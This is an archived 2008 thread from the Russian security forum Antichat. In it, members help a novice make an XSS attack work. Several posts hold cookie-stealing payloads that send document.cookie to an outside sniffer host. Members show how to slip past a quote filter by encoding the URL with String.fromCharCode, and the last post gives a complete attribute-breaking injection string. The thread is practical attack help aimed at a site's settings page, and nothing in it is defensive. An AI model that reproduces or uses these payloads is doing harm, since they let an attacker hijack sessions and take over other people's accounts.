ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
28.03.2008, 13:11
|
|
Banned
Регистрация: 29.09.2007
Сообщений: 512
Провел на форуме:
4038468
Репутация:
1224
|
|
Сообщение от samarin
Пытаюсь разобраться с xss но почему-то на снифер ничего не приходит. в исходнике страницы, какую открывает пишет:
что здесь не так?
ковычки попробуй убрать
<script>img=new Image();img.src=http://s.netsec.ru/snif.gif? document.cookie;</script>
|
|
|
28.03.2008, 13:13
|
|
Reservists Of Antichat - Level 6
Регистрация: 04.02.2007
Сообщений: 1,152
Провел на форуме:
3008839
Репутация:
1502
|
|
Сообщение от samarin
Пытаюсь разобраться с xss но почему-то на снифер ничего не приходит. в исходнике страницы, какую открывает пишет:
что здесь не так?
img.src="http://s.netsec.ru/snif.gif?"+document.cookie;
по-моему...
__________________
Bedankt euch dafür bei euch selbst.
H_2(S^3/((z1, z2)~(exp(2pi*i/p)z1, exp(2pi*q*i/p)z2)))=Z/pZ
|
|
|
|
28.03.2008, 13:16
|
|
Banned
Регистрация: 29.09.2007
Сообщений: 512
Провел на форуме:
4038468
Репутация:
1224
|
|
Сообщение от desTiny
img.src="http://s.netsec.ru/snif.gif?"+document.cookie;
по-моему...
там по-ходу фильтр на ковычки стоит, так что стоит попробовать без ковычек!
|
|
|
|
28.03.2008, 13:18
|
|
Reservists Of Antichat - Level 6
Регистрация: 04.02.2007
Сообщений: 1,152
Провел на форуме:
3008839
Репутация:
1502
|
|
Ну тогда...
stringFromCharCode =)
__________________
Bedankt euch dafür bei euch selbst.
H_2(S^3/((z1, z2)~(exp(2pi*i/p)z1, exp(2pi*q*i/p)z2)))=Z/pZ
|
|
|
|
28.03.2008, 13:20
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186
Репутация:
905
|
|
Кавычки, судя по всему, экранируются. Можно обойти с помощью String.fromCharCode()
|
|
|
|
28.03.2008, 13:37
|
|
Участник форума
Регистрация: 24.02.2008
Сообщений: 136
Провел на форуме:
295283
Репутация:
69
|
|
Можно обойти с помощью String.fromCharCode()
Та же история 
в исходнике:
<a href='settings_main.php`><script>img = new Image(); img.src = String.fromCharCode(34)http://s.netsec.ru/snif.gif?String.fromCharCode(34) document.cookie;</script>'></a></span></td>
|
|
|
|
28.03.2008, 13:39
|
|
Reservists Of Antichat - Level 6
Регистрация: 04.02.2007
Сообщений: 1,152
Провел на форуме:
3008839
Репутация:
1502
|
|
Сообщение от samarin
Та же история
в исходнике: Ты что делаешь??? Тв не кавычки заменяй на ...fromCharCode, а строчку свою! и плюсик поставь перед document.cookie!
__________________
Bedankt euch dafür bei euch selbst.
H_2(S^3/((z1, z2)~(exp(2pi*i/p)z1, exp(2pi*q*i/p)z2)))=Z/pZ
|
|
|
|
28.03.2008, 13:51
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186
Репутация:
905
|
|
Хы-хы))
Так попробуй
Код:
String.fromCharCode(0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f,0x73,0x2e,0x6e,0x65,0x74,0x73,0x65,0x63,0x2e,0x72,0x75,0x2f,0x73,0x6e,0x69,0x66,0x2e,0x67,0x69,0x66,0x3f)+document.cookie;
|
|
|
|
28.03.2008, 13:53
|
|
Участник форума
Регистрация: 24.02.2008
Сообщений: 136
Провел на форуме:
295283
Репутация:
69
|
|
Чем это ты закодировал?или где?
-----------------------------------------
Все равно ничего не получается. Уж извините, если достал уже, но ведь я только учусь!
Вот сам запрос:
`><script>img = new Image(); img.src = "http://s.netsec.ru/smilesmile.gif?"+document.cookie;</script>
Пробую через CHAR():И если через CHAR только кавычки-одна беда
CHAR(96,62,60,115,99,114,105,112,116,62,105,109,10 3,32,61,32,110,101,119,32,73,109,97,103,101,40,41, 59,32,105,109,103,46,115,114,99,32,61,32,34,104,11 6,116,112,58,47,47,115,46,110,101,116,115,101,99,4 6,114,117,47,115,109,105,108,101,115,109,105,108,1 01,46,103,105,102,63,34,43,100,111,99,117,109,101, 110,116,46,99,111,111,107,105,101,59,60,47,115,99, 114,105,112,116,62)
----------------------------------------------------
Приведите чтоли пример, как бы сделали ВЫ!
----------------------------------------------------
Последний раз редактировалось samarin; 28.03.2008 в 13:56..
|
|
|
|
28.03.2008, 14:52
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186
Репутация:
905
|
|
Так бы и сделали
Код:
`><script>img = new Image(); img.src = String.fromCharCode(0x68,0x74,0x74,0x70,0x3a,0x2f, 0x2f,0x73,0x2e,0x6e,0x65,0x74,0x73,0x65,0x63,0x2e,
0x72,0x75,0x2f,0x73,0x6e,0x69,0x66,0x2e,0x67,0x69,
0x66,0x3f)+document.cookie;</script>
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
